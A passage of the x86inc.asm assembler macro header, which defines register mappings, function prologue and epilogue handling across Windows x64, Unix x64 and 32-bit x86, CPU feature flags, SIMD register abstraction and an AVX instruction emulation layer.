%define r%1w %1 %define e%1w %1 %define r%1h %3 %define e%1h %3 %define r%1b %2 %define e%1b %2 %if ARCH_X86_64 == 0 %define r%1 e%1 %endif %endmacro DECLARE_REG_SIZE ax, al, ah DECLARE_REG_SIZE bx, bl, bh DECLARE_REG_SIZE cx, cl, ch DECLARE_REG_SIZE dx, dl, dh DECLARE_REG_SIZE si, sil, null DECLARE_REG_SIZE di, dil, null DECLARE_REG_SIZE bp, bpl, null ; t# defines for when per-arch register allocation is more complex than just function arguments %macro DECLARE_REG_TMP 1-* %assign %%i 0 %rep %0 CAT_XDEFINE t, %%i, r%1 %assign %%i %%i+1 %rotate 1 %endrep %endmacro %macro DECLARE_REG_TMP_SIZE 0-* %rep %0 %define t%1q t%1 %+ q %define t%1d t%1 %+ d %define t%1w t%1 %+ w %define t%1h t%1 %+ h %define t%1b t%1 %+ b %rotate 1 %endrep %endmacro DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14 %if ARCH_X86_64 %define gprsize 8 %else %define gprsize 4 %endif %macro PUSH 1 push %1 %ifidn rstk, rsp %assign stack_offset stack_offset+gprsize %endif %endmacro %macro POP 1 pop %1 %ifidn rstk, rsp %assign stack_offset stack_offset-gprsize %endif %endmacro %macro PUSH_IF_USED 1-* %rep %0 %if %1 < regs_used PUSH r%1 %endif %rotate 1 %endrep %endmacro %macro POP_IF_USED 1-* %rep %0 %if %1 < regs_used pop r%1 %endif %rotate 1 %endrep %endmacro %macro LOAD_IF_USED 1-* %rep %0 %if %1 < num_args mov r%1, r %+ %1 %+ mp %endif %rotate 1 %endrep %endmacro %macro SUB 2 sub %1, %2 %ifidn %1, rstk %assign stack_offset stack_offset+(%2) %endif %endmacro %macro ADD 2 add %1, %2 %ifidn %1, rstk %assign stack_offset stack_offset-(%2) %endif %endmacro %macro movifnidn 2 %ifnidn %1, %2 mov %1, %2 %endif %endmacro %macro movsxdifnidn 2 %ifnidn %1, %2 movsxd %1, %2 %endif %endmacro %macro ASSERT 1 %if (%1) == 0 %error assertion ``%1'' failed %endif %endmacro %macro DEFINE_ARGS 0-* %ifdef n_arg_names %assign %%i 0 %rep n_arg_names CAT_UNDEF arg_name %+ %%i, q CAT_UNDEF arg_name %+ %%i, d CAT_UNDEF arg_name %+ %%i, w CAT_UNDEF arg_name %+ %%i, h CAT_UNDEF arg_name %+ %%i, b CAT_UNDEF arg_name %+ %%i, m CAT_UNDEF arg_name %+ %%i, mp CAT_UNDEF arg_name, %%i %assign %%i %%i+1 %endrep %endif %xdefine %%stack_offset stack_offset %undef stack_offset ; so that the current value of stack_offset doesn't get baked in by xdefine %assign %%i 0 %rep %0 %xdefine %1q r %+ %%i %+ q %xdefine %1d r %+ %%i %+ d %xdefine %1w r %+ %%i %+ w %xdefine %1h r %+ %%i %+ h %xdefine %1b r %+ %%i %+ b %xdefine %1m r %+ %%i %+ m %xdefine %1mp r %+ %%i %+ mp CAT_XDEFINE arg_name, %%i, %1 %assign %%i %%i+1 %rotate 1 %endrep %xdefine stack_offset %%stack_offset %assign n_arg_names %0 %endmacro %define required_stack_alignment ((mmsize + 15) & ~15) %macro ALLOC_STACK 1-2 0 ; stack_size, n_xmm_regs (for win64 only) %ifnum %1 %if %1 != 0 %assign %%pad 0 %assign stack_size %1 %if stack_size < 0 %assign stack_size -stack_size %endif %if WIN64 %assign %%pad %%pad + 32 ; shadow space %if mmsize != 8 %assign xmm_regs_used %2 %if xmm_regs_used > 8 %assign %%pad %%pad + (xmm_regs_used-8)*16 ; callee-saved xmm registers %endif %endif %endif %if required_stack_alignment <= STACK_ALIGNMENT ; maintain the current stack alignment %assign stack_size_padded stack_size + %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1)) SUB rsp, stack_size_padded %else %assign %%reg_num (regs_used - 1) %xdefine rstk r %+ %%reg_num ; align stack, and save original stack location directly above ; it, i.e. in [rsp+stack_size_padded], so we can restore the ; stack in a single instruction (i.e. mov rsp, rstk or mov ; rsp, [rsp+stack_size_padded]) %if %1 < 0 ; need to store rsp on stack %xdefine rstkm [rsp + stack_size + %%pad] %assign %%pad %%pad + gprsize %else ; can keep rsp in rstk during whole function %xdefine rstkm rstk %endif %assign stack_size_padded stack_size + ((%%pad + required_stack_alignment-1) & ~(required_stack_alignment-1)) mov rstk, rsp and rsp, ~(required_stack_alignment-1) sub rsp, stack_size_padded movifnidn rstkm, rstk %endif WIN64_PUSH_XMM %endif %endif %endmacro %macro SETUP_STACK_POINTER 1 %ifnum %1 %if %1 != 0 && required_stack_alignment > STACK_ALIGNMENT %if %1 > 0 %assign regs_used (regs_used + 1) %endif %if ARCH_X86_64 && regs_used < 5 + UNIX64 * 3 ; Ensure that we don't clobber any registers containing arguments %assign regs_used 5 + UNIX64 * 3 %endif %endif %endif %endmacro %macro DEFINE_ARGS_INTERNAL 3+ %ifnum %2 DEFINE_ARGS %3 %elif %1 == 4 DEFINE_ARGS %2 %elif %1 > 4 DEFINE_ARGS %2, %3 %endif %endmacro %if WIN64 ; Windows x64 ;================================================= DECLARE_REG 0, rcx DECLARE_REG 1, rdx DECLARE_REG 2, R8 DECLARE_REG 3, R9 DECLARE_REG 4, R10, 40 DECLARE_REG 5, R11, 48 DECLARE_REG 6, rax, 56 DECLARE_REG 7, rdi, 64 DECLARE_REG 8, rsi, 72 DECLARE_REG 9, rbx, 80 DECLARE_REG 10, rbp, 88 DECLARE_REG 11, R12, 96 DECLARE_REG 12, R13, 104 DECLARE_REG 13, R14, 112 DECLARE_REG 14, R15, 120 %macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args SETUP_STACK_POINTER %4 ASSERT regs_used <= 15 PUSH_IF_USED 7, 8, 9, 10, 11, 12, 13, 14 ALLOC_STACK %4, %3 %if mmsize != 8 && stack_size == 0 WIN64_SPILL_XMM %3 %endif LOAD_IF_USED 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %macro WIN64_PUSH_XMM 0 ; Use the shadow space to store XMM6 and XMM7, the rest needs stack space allocated. %if xmm_regs_used > 6 movaps [rstk + stack_offset + 8], xmm6 %endif %if xmm_regs_used > 7 movaps [rstk + stack_offset + 24], xmm7 %endif %if xmm_regs_used > 8 %assign %%i 8 %rep xmm_regs_used-8 movaps [rsp + (%%i-8)*16 + stack_size + 32], xmm %+ %%i %assign %%i %%i+1 %endrep %endif %endmacro %macro WIN64_SPILL_XMM 1 %assign xmm_regs_used %1 ASSERT xmm_regs_used <= 16 %if xmm_regs_used > 8 ; Allocate stack space for callee-saved xmm registers plus shadow space and align the stack. %assign %%pad (xmm_regs_used-8)*16 + 32 %assign stack_size_padded %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1)) SUB rsp, stack_size_padded %endif WIN64_PUSH_XMM %endmacro %macro WIN64_RESTORE_XMM_INTERNAL 1 %assign %%pad_size 0 %if xmm_regs_used > 8 %assign %%i xmm_regs_used %rep xmm_regs_used-8 %assign %%i %%i-1 movaps xmm %+ %%i, [%1 + (%%i-8)*16 + stack_size + 32] %endrep %endif %if stack_size_padded > 0 %if stack_size > 0 && required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add %1, stack_size_padded %assign %%pad_size stack_size_padded %endif %endif %if xmm_regs_used > 7 movaps xmm7, [%1 + stack_offset - %%pad_size + 24] %endif %if xmm_regs_used > 6 movaps xmm6, [%1 + stack_offset - %%pad_size + 8] %endif %endmacro %macro WIN64_RESTORE_XMM 1 WIN64_RESTORE_XMM_INTERNAL %1 %assign stack_offset (stack_offset-stack_size_padded) %assign xmm_regs_used 0 %endmacro %define has_epilogue regs_used > 7 || xmm_regs_used > 6 || mmsize == 32 || stack_size > 0 %macro RET 0 WIN64_RESTORE_XMM_INTERNAL rsp POP_IF_USED 14, 13, 12, 11, 10, 9, 8, 7 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %elif ARCH_X86_64 ; *nix x64 ;============================================= DECLARE_REG 0, rdi DECLARE_REG 1, rsi DECLARE_REG 2, rdx DECLARE_REG 3, rcx DECLARE_REG 4, R8 DECLARE_REG 5, R9 DECLARE_REG 6, rax, 8 DECLARE_REG 7, R10, 16 DECLARE_REG 8, R11, 24 DECLARE_REG 9, rbx, 32 DECLARE_REG 10, rbp, 40 DECLARE_REG 11, R12, 48 DECLARE_REG 12, R13, 56 DECLARE_REG 13, R14, 64 DECLARE_REG 14, R15, 72 %macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args SETUP_STACK_POINTER %4 ASSERT regs_used <= 15 PUSH_IF_USED 9, 10, 11, 12, 13, 14 ALLOC_STACK %4 LOAD_IF_USED 6, 7, 8, 9, 10, 11, 12, 13, 14 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %define has_epilogue regs_used > 9 || mmsize == 32 || stack_size > 0 %macro RET 0 %if stack_size_padded > 0 %if required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add rsp, stack_size_padded %endif %endif POP_IF_USED 14, 13, 12, 11, 10, 9 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %else ; X86_32 ;============================================================== DECLARE_REG 0, eax, 4 DECLARE_REG 1, ecx, 8 DECLARE_REG 2, edx, 12 DECLARE_REG 3, ebx, 16 DECLARE_REG 4, esi, 20 DECLARE_REG 5, edi, 24 DECLARE_REG 6, ebp, 28 %define rsp esp %macro DECLARE_ARG 1-* %rep %0 %define r%1m [rstk + stack_offset + 4*%1 + 4] %define r%1mp dword r%1m %rotate 1 %endrep %endmacro DECLARE_ARG 7, 8, 9, 10, 11, 12, 13, 14 %macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args %if num_args > 7 %assign num_args 7 %endif %if regs_used > 7 %assign regs_used 7 %endif SETUP_STACK_POINTER %4 ASSERT regs_used <= 7 PUSH_IF_USED 3, 4, 5, 6 ALLOC_STACK %4 LOAD_IF_USED 0, 1, 2, 3, 4, 5, 6 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %define has_epilogue regs_used > 3 || mmsize == 32 || stack_size > 0 %macro RET 0 %if stack_size_padded > 0 %if required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add rsp, stack_size_padded %endif %endif POP_IF_USED 6, 5, 4, 3 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %endif ;====================================================================== %if WIN64 == 0 %macro WIN64_SPILL_XMM 1 %endmacro %macro WIN64_RESTORE_XMM 1 %endmacro %macro WIN64_PUSH_XMM 0 %endmacro %endif ; On AMD cpus <=K10, an ordinary ret is slow if it immediately follows either ; a branch or a branch target. So switch to a 2-byte form of ret in that case. ; We can automatically detect "follows a branch", but not a branch target. ; (SSSE3 is a sufficient condition to know that your cpu doesn't have this problem.) %macro REP_RET 0 %if has_epilogue RET %else rep ret %endif annotate_function_size %endmacro %define last_branch_adr $$ %macro AUTO_REP_RET 0 %if notcpuflag(ssse3) times ((last_branch_adr-$)>>31)+1 rep ; times 1 iff $ == last_branch_adr. %endif ret annotate_function_size %endmacro %macro BRANCH_INSTR 0-* %rep %0 %macro %1 1-2 %1 %2 %1 %if notcpuflag(ssse3) %%branch_instr equ $ %xdefine last_branch_adr %%branch_instr %endif %endmacro %rotate 1 %endrep %endmacro BRANCH_INSTR jz, je, jnz, jne, jl, jle, jnl, jnle, jg, jge, jng, jnge, ja, jae, jna, jnae, jb, jbe, jnb, jnbe, jc, jnc, js, jns, jo, jno, jp, jnp %macro TAIL_CALL 2 ; callee, is_nonadjacent %if has_epilogue call %1 RET %elif %2 jmp %1 %endif annotate_function_size %endmacro ;============================================================================= ; arch-independent part ;============================================================================= %assign function_align 16 ; Begin a function. ; Applies any symbol mangling needed for C linkage, and sets up a define such that ; subsequent uses of the function name automatically refer to the mangled version. ; Appends cpuflags to the function name if cpuflags has been specified. ; The "" empty default parameter is a workaround for nasm, which fails if SUFFIX ; is empty and we call cglobal_internal with just %1 %+ SUFFIX (without %2). %macro cglobal 1-2+ "" ; name, [PROLOGUE args] cglobal_internal 1, %1 %+ SUFFIX, %2 %endmacro %macro cvisible 1-2+ "" ; name, [PROLOGUE args] cglobal_internal 0, %1 %+ SUFFIX, %2 %endmacro %macro cglobal_internal 2-3+ annotate_function_size %if %1 %xdefine %%FUNCTION_PREFIX private_prefix %xdefine %%VISIBILITY hidden %else %xdefine %%FUNCTION_PREFIX public_prefix %xdefine %%VISIBILITY %endif %ifndef cglobaled_%2 %xdefine %2 mangle(%%FUNCTION_PREFIX %+ _ %+ %2) %xdefine %2.skip_prologue %2 %+ .skip_prologue CAT_XDEFINE cglobaled_, %2, 1 %endif %xdefine current_function %2 %xdefine current_function_section __SECT__ %if FORMAT_ELF global %2:function %%VISIBILITY %else global %2 %endif align function_align %2: RESET_MM_PERMUTATION ; needed for x86-64, also makes disassembly somewhat nicer %xdefine rstk rsp ; copy of the original stack pointer, used when greater alignment than the known stack alignment is required %assign stack_offset 0 ; stack pointer offset relative to the return address %assign stack_size 0 ; amount of stack space that can be freely used inside a function %assign stack_size_padded 0 ; total amount of allocated stack space, including space for callee-saved xmm registers on WIN64 and alignment padding %assign xmm_regs_used 0 ; number of XMM registers requested, used for dealing with callee-saved registers on WIN64 %ifnidn %3, "" PROLOGUE %3 %endif %endmacro %macro cextern 1 %xdefine %1 mangle(private_prefix %+ _ %+ %1) CAT_XDEFINE cglobaled_, %1, 1 extern %1 %endmacro ; like cextern, but without the prefix %macro cextern_naked 1 %ifdef PREFIX %xdefine %1 mangle(%1) %endif CAT_XDEFINE cglobaled_, %1, 1 extern %1 %endmacro %macro const 1-2+ %xdefine %1 mangle(private_prefix %+ _ %+ %1) %if FORMAT_ELF global %1:data hidden %else global %1 %endif %1: %2 %endmacro ; This is needed for ELF, otherwise the GNU linker assumes the stack is executable by default. %if FORMAT_ELF [SECTION .note.GNU-stack noalloc noexec nowrite progbits] %endif ; Tell debuggers how large the function was. ; This may be invoked multiple times per function; we rely on later instances overriding earlier ones. ; This is invoked by RET and similar macros, and also cglobal does it for the previous function, ; but if the last function in a source file doesn't use any of the standard macros for its epilogue, ; then its size might be unspecified. %macro annotate_function_size 0 %ifdef __YASM_VER__ %ifdef current_function %if FORMAT_ELF current_function_section %%ecf equ $ size current_function %%ecf - current_function __SECT__ %endif %endif %endif %endmacro ; cpuflags %assign cpuflags_mmx (1<<0) %assign cpuflags_mmx2 (1<<1) | cpuflags_mmx %assign cpuflags_3dnow (1<<2) | cpuflags_mmx %assign cpuflags_3dnowext (1<<3) | cpuflags_3dnow %assign cpuflags_sse (1<<4) | cpuflags_mmx2 %assign cpuflags_sse2 (1<<5) | cpuflags_sse %assign cpuflags_sse2slow (1<<6) | cpuflags_sse2 %assign cpuflags_sse3 (1<<7) | cpuflags_sse2 %assign cpuflags_ssse3 (1<<8) | cpuflags_sse3 %assign cpuflags_sse4 (1<<9) | cpuflags_ssse3 %assign cpuflags_sse42 (1<<10)| cpuflags_sse4 %assign cpuflags_avx (1<<11)| cpuflags_sse42 %assign cpuflags_xop (1<<12)| cpuflags_avx %assign cpuflags_fma4 (1<<13)| cpuflags_avx %assign cpuflags_fma3 (1<<14)| cpuflags_avx %assign cpuflags_avx2 (1<<15)| cpuflags_fma3 %assign cpuflags_cache32 (1<<16) %assign cpuflags_cache64 (1<<17) %assign cpuflags_slowctz (1<<18) %assign cpuflags_lzcnt (1<<19) %assign cpuflags_aligned (1<<20) ; not a cpu feature, but a function variant %assign cpuflags_atom (1<<21) %assign cpuflags_bmi1 (1<<22)|cpuflags_lzcnt %assign cpuflags_bmi2 (1<<23)|cpuflags_bmi1 ; Returns a boolean value expressing whether or not the specified cpuflag is enabled. %define cpuflag(x) (((((cpuflags & (cpuflags_ %+ x)) ^ (cpuflags_ %+ x)) - 1) >> 31) & 1) %define notcpuflag(x) (cpuflag(x) ^ 1) ; Takes an arbitrary number of cpuflags from the above list. ; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu. ; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co. %macro INIT_CPUFLAGS 0-* %xdefine SUFFIX %undef cpuname %assign cpuflags 0 %if %0 >= 1 %rep %0 %ifdef cpuname %xdefine cpuname cpuname %+ _%1 %else %xdefine cpuname %1 %endif %assign cpuflags cpuflags | cpuflags_%1 %rotate 1 %endrep %xdefine SUFFIX _ %+ cpuname %if cpuflag(avx) %assign avx_enabled 1 %endif %if (mmsize == 16 && notcpuflag(sse2)) || (mmsize == 32 && notcpuflag(avx2)) %define mova movaps %define movu movups %define movnta movntps %endif %if cpuflag(aligned) %define movu mova %elif cpuflag(sse3) && notcpuflag(ssse3) %define movu lddqu %endif %endif %if ARCH_X86_64 || cpuflag(sse2) %ifdef __NASM_VER__ ALIGNMODE k8 %else CPU amdnop %endif %else %ifdef __NASM_VER__ ALIGNMODE nop %else CPU basicnop %endif %endif %endmacro ; Merge mmx and sse* ; m# is a simd register of the currently selected size ; xm# is the corresponding xmm register if mmsize >= 16, otherwise the same as m# ; ym# is the corresponding ymm register if mmsize >= 32, otherwise the same as m# ; (All 3 remain in sync through SWAP.) %macro CAT_XDEFINE 3 %xdefine %1%2 %3 %endmacro %macro CAT_UNDEF 2 %undef %1%2 %endmacro %macro INIT_MMX 0-1+ %assign avx_enabled 0 %define RESET_MM_PERMUTATION INIT_MMX %1 %define mmsize 8 %define num_mmregs 8 %define mova movq %define movu movq %define movh movd %define movnta movntq %assign %%i 0 %rep 8 CAT_XDEFINE m, %%i, mm %+ %%i CAT_XDEFINE nnmm, %%i, %%i %assign %%i %%i+1 %endrep %rep 8 CAT_UNDEF m, %%i CAT_UNDEF nnmm, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro %macro INIT_XMM 0-1+ %assign avx_enabled 0 %define RESET_MM_PERMUTATION INIT_XMM %1 %define mmsize 16 %define num_mmregs 8 %if ARCH_X86_64 %define num_mmregs 16 %endif %define mova movdqa %define movu movdqu %define movh movq %define movnta movntdq %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, xmm %+ %%i CAT_XDEFINE nnxmm, %%i, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro %macro INIT_YMM 0-1+ %assign avx_enabled 1 %define RESET_MM_PERMUTATION INIT_YMM %1 %define mmsize 32 %define num_mmregs 8 %if ARCH_X86_64 %define num_mmregs 16 %endif %define mova movdqa %define movu movdqu %undef movh %define movnta movntdq %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, ymm %+ %%i CAT_XDEFINE nnymm, %%i, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro INIT_XMM %macro DECLARE_MMCAST 1 %define mmmm%1 mm%1 %define mmxmm%1 mm%1 %define mmymm%1 mm%1 %define xmmmm%1 mm%1 %define xmmxmm%1 xmm%1 %define xmmymm%1 xmm%1 %define ymmmm%1 mm%1 %define ymmxmm%1 xmm%1 %define ymmymm%1 ymm%1 %define xm%1 xmm %+ m%1 %define ym%1 ymm %+ m%1 %endmacro %assign i 0 %rep 16 DECLARE_MMCAST i %assign i i+1 %endrep ; I often want to use macros that permute their arguments. e.g. there's no ; efficient way to implement butterfly or transpose or dct without swapping some ; arguments. ; ; I would like to not have to manually keep track of the permutations: ; If I insert a permutation in the middle of a function, it should automatically ; change everything that follows. For more complex macros I may also have multiple ; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations. ; ; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that ; permutes its arguments. It's equivalent to exchanging the contents of the ; registers, except that this way you exchange the register names instead, so it ; doesn't cost any cycles. %macro PERMUTE 2-* ; takes a list of pairs to swap %rep %0/2 %xdefine %%tmp%2 m%2 %rotate 2 %endrep %rep %0/2 %xdefine m%1 %%tmp%2 CAT_XDEFINE nn, m%1, %1 %rotate 2 %endrep %endmacro %macro SWAP 2+ ; swaps a single chain (sometimes more concise than pairs) %ifnum %1 ; SWAP 0, 1, ... SWAP_INTERNAL_NUM %1, %2 %else ; SWAP m0, m1, ... SWAP_INTERNAL_NAME %1, %2 %endif %endmacro %macro SWAP_INTERNAL_NUM 2-* %rep %0-1 %xdefine %%tmp m%1 %xdefine m%1 m%2 %xdefine m%2 %%tmp CAT_XDEFINE nn, m%1, %1 CAT_XDEFINE nn, m%2, %2 %rotate 1 %endrep %endmacro %macro SWAP_INTERNAL_NAME 2-* %xdefine %%args nn %+ %1 %rep %0-1 %xdefine %%args %%args, nn %+ %2 %rotate 1 %endrep SWAP_INTERNAL_NUM %%args %endmacro ; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later ; calls to that function will automatically load the permutation, so values can ; be returned in mmregs. %macro SAVE_MM_PERMUTATION 0-1 %if %0 %xdefine %%f %1_m %else %xdefine %%f current_function %+ _m %endif %assign %%i 0 %rep num_mmregs CAT_XDEFINE %%f, %%i, m %+ %%i %assign %%i %%i+1 %endrep %endmacro %macro LOAD_MM_PERMUTATION 1 ; name to load from %ifdef %1_m0 %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, %1_m %+ %%i CAT_XDEFINE nn, m %+ %%i, %%i %assign %%i %%i+1 %endrep %endif %endmacro ; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't %macro call 1 call_internal %1 %+ SUFFIX, %1 %endmacro %macro call_internal 2 %xdefine %%i %2 %ifndef cglobaled_%2 %ifdef cglobaled_%1 %xdefine %%i %1 %endif %endif call %%i LOAD_MM_PERMUTATION %%i %endmacro ; Substitutions that reduce instruction size but are functionally equivalent %macro add 2 %ifnum %2 %if %2==128 sub %1, -128 %else add %1, %2 %endif %else add %1, %2 %endif %endmacro %macro sub 2 %ifnum %2 %if %2==128 add %1, -128 %else sub %1, %2 %endif %else sub %1, %2 %endif %endmacro ;============================================================================= ; AVX abstraction layer ;============================================================================= %assign i 0 %rep 16 %if i < 8 CAT_XDEFINE sizeofmm, i, 8 %endif CAT_XDEFINE sizeofxmm, i, 16 CAT_XDEFINE sizeofymm, i, 32 %assign i i+1 %endrep %undef i %macro CHECK_AVX_INSTR_EMU 3-* %xdefine %%opcode %1 %xdefine %%dst %2 %rep %0-2 %ifidn %%dst, %3 %error non-avx emulation of ``%%opcode'' is not supported %endif %rotate 1 %endrep %endmacro ;%1 == instruction ;%2 == minimal instruction set ;%3 == 1 if float, 0 if int ;%4 == 1 if 4-operand emulation, 0 if 3-operand emulation, 255 otherwise (no emulation) ;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not ;%6+: operands %macro RUN_AVX_INSTR 6-9+ %ifnum sizeof%7 %assign __sizeofreg sizeof%7 %elifnum sizeof%6 %assign __sizeofreg sizeof%6 %else %assign __sizeofreg mmsize %endif %assign __emulate_avx 0 %if avx_enabled && __sizeofreg >= 16 %xdefine __instr v%1 %else %xdefine __instr %1 %if %0 >= 8+%4 %assign __emulate_avx 1 %endif %endif %ifnidn %2, fnord %ifdef cpuname %if notcpuflag(%2) %error use of ``%1'' %2 instruction in cpuname function: current_function %elif cpuflags_%2 < cpuflags_sse && notcpuflag(sse2) && __sizeofreg > 8 %error use of ``%1'' sse2 instruction in cpuname function: current_function %endif %endif %endif %if __emulate_avx %xdefine __src1 %7 %xdefine __src2 %8 %if %5 && %4 == 0 %ifnidn %6, %7 %ifidn %6, %8 %xdefine __src1 %8 %xdefine __src2 %7 %elifnnum sizeof%8 ; 3-operand AVX instructions with a memory arg can only have it in src2, ; whereas SSE emulation prefers to have it in src1 (i.e. the mov). ; So, if the instruction is commutative with a memory arg, swap them. %xdefine __src1 %8 %xdefine __src2 %7 %endif %endif %endif %ifnidn %6, __src1 %if %0 >= 9 CHECK_AVX_INSTR_EMU {%1 %6, %7, %8, %9}, %6, __src2, %9 %else CHECK_AVX_INSTR_EMU {%1 %6, %7, %8}, %6, __src2 %endif %if __sizeofreg == 8 MOVQ %6, __src1 %elif %3 MOVAPS %6, __src1 %else MOVDQA %6, __src1 %endif %endif %if %0 >= 9 %1 %6, __src2, %9 %else %1 %6, __src2 %endif %elif %0 >= 9 __instr %6, %7, %8, %9 %elif %0 == 8 __instr %6, %7, %8 %elif %0 == 7 __instr %6, %7 %else __instr %6 %endif %endmacro ;%1 == instruction ;%2 == minimal instruction set ;%3 == 1 if float, 0 if int ;%4 == 1 if 4-operand emulation, 0 if 3-operand emulation, 255 otherwise (no emulation) ;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not %macro AVX_INSTR 1-5 fnord, 0, 255, 0 %macro %1 1-10 fnord, fnord, fnord, fnord, %1, %2, %3, %4, %5 %ifidn %2, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1 %elifidn %3, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2 %elifidn %4, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3 %elifidn %5, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4 %else RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4, %5 %endif %endmacro %endmacro ; Instructions with both VEX and non-VEX encodings ; Non-destructive instructions are written without parameters AVX_INSTR addpd, sse2, 1, 0, 1 AVX_INSTR addps, sse, 1, 0, 1 AVX_INSTR addsd, sse2, 1, 0, 0 AVX_INSTR addss, sse, 1, 0, 0 AVX_INSTR addsubpd, sse3, 1, 0, 0 AVX_INSTR addsubps, sse3, 1, 0, 0 AVX_INSTR aesdec, fnord, 0, 0, 0 AVX_INSTR aesdeclast, fnord, 0, 0, 0 AVX_INSTR aesenc, fnord, 0, 0, 0 AVX_INSTR aesenclast, fnord, 0, 0, 0 AVX_INSTR aesimc AVX_INSTR aeskeygenassist AVX_INSTR andnpd, sse2, 1, 0, 0 AVX_INSTR andnps, sse, 1, 0, 0 AVX_INSTR andpd, sse2, 1, 0, 1 AVX_INSTR andps, sse, 1, 0, 1 AVX_INSTR blendpd, sse4, 1, 1, 0 AVX_INSTR blendps, sse4, 1, 1, 0 AVX_INSTR blendvpd, sse4 ; can't be emulated AVX_INSTR blendvps, sse4 ; can't be emulated AVX_INSTR cmppd, sse2, 1, 1, 0 AVX_INSTR cmpps, sse, 1, 1, 0 AVX_INSTR cmpsd, sse2, 1, 1, 0 AVX_INSTR cmpss, sse, 1, 1, 0 AVX_INSTR comisd, sse2 AVX_INSTR comiss, sse AVX_INSTR cvtdq2pd, sse2 AVX_INSTR cvtdq2ps, sse2 AVX_INSTR cvtpd2dq, sse2 AVX_INSTR cvtpd2ps, sse2 AVX_INSTR cvtps2dq, sse2 AVX_INSTR cvtps2pd, sse2 AVX_INSTR cvtsd2si, sse2 AVX_INSTR cvtsd2ss, sse2, 1, 0, 0 AVX_INSTR cvtsi2sd, sse2, 1, 0, 0 AVX_INSTR cvtsi2ss, sse, 1, 0, 0 AVX_INSTR cvtss2sd, sse2, 1, 0, 0 AVX_INSTR cvtss2si, sse AVX_INSTR cvttpd2dq, sse2 AVX_INSTR cvttps2dq, sse2 AVX_INSTR cvttsd2si, sse2 AVX_INSTR cvttss2si, sse AVX_INSTR divpd, sse2, 1, 0, 0 AVX_INSTR divps, sse, 1, 0, 0 AVX_INSTR divsd, sse2, 1, 0, 0 AVX_INSTR divss, sse, 1, 0, 0 AVX_INSTR dppd, sse4, 1, 1, 0 AVX_INSTR dpps, sse4, 1, 1, 0 AVX_INSTR extractps, sse4 AVX_INSTR haddpd, sse3, 1, 0, 0 AVX_INSTR haddps, sse3, 1, 0, 0 AVX_INSTR hsubpd, sse3, 1, 0, 0 AVX_INSTR hsubps, sse3, 1, 0, 0 AVX_INSTR insertps, sse4, 1, 1, 0 AVX_INSTR lddqu, sse3 AVX_INSTR ldmxcsr, sse AVX_INSTR maskmovdqu, sse2 AVX_INSTR maxpd, sse2, 1, 0, 1 AVX_INSTR maxps, sse, 1, 0, 1 AVX_INSTR maxsd, sse2, 1, 0, 0 AVX_INSTR maxss, sse, 1, 0, 0 AVX_INSTR minpd, sse2, 1, 0, 1 AVX_INSTR minps, sse, 1, 0, 1 AVX_INSTR minsd, sse2, 1, 0, 0 AVX_INSTR minss, sse, 1, 0, 0 AVX_INSTR movapd, sse2 AVX_INSTR movaps, sse AVX_INSTR movd, mmx AVX_INSTR movddup, sse3 AVX_INSTR movdqa, sse2 AVX_INSTR movdqu, sse2 AVX_INSTR movhlps, sse, 1, 0, 0 AVX_INSTR movhpd, sse2, 1, 0, 0 AVX_INSTR movhps, sse, 1, 0, 0 AVX_INSTR movlhps, sse, 1, 0, 0 AVX_INSTR movlpd, sse2, 1, 0, 0 AVX_INSTR movlps, sse, 1, 0, 0 AVX_INSTR movmskpd, sse2 AVX_INSTR movmskps, sse AVX_INSTR movntdq, sse2 AVX_INSTR movntdqa, sse4 AVX_INSTR movntpd, sse2 AVX_INSTR movntps, sse AVX_INSTR movq, mmx AVX_INSTR movsd, sse2, 1, 0, 0 AVX_INSTR movshdup, sse3 AVX_INSTR movsldup, sse3 AVX_INSTR movss, sse, 1, 0, 0 AVX_INSTR movupd, sse2 AVX_INSTR movups, sse AVX_INSTR mpsadbw, sse4, 0, 1, 0 AVX_INSTR mulpd, sse2, 1, 0, 1 AVX_INSTR mulps, sse, 1, 0, 1 AVX_INSTR mulsd, sse2, 1, 0, 0 AVX_INSTR mulss, sse, 1, 0, 0 AVX_INSTR orpd, sse2, 1, 0, 1 AVX_INSTR orps, sse, 1, 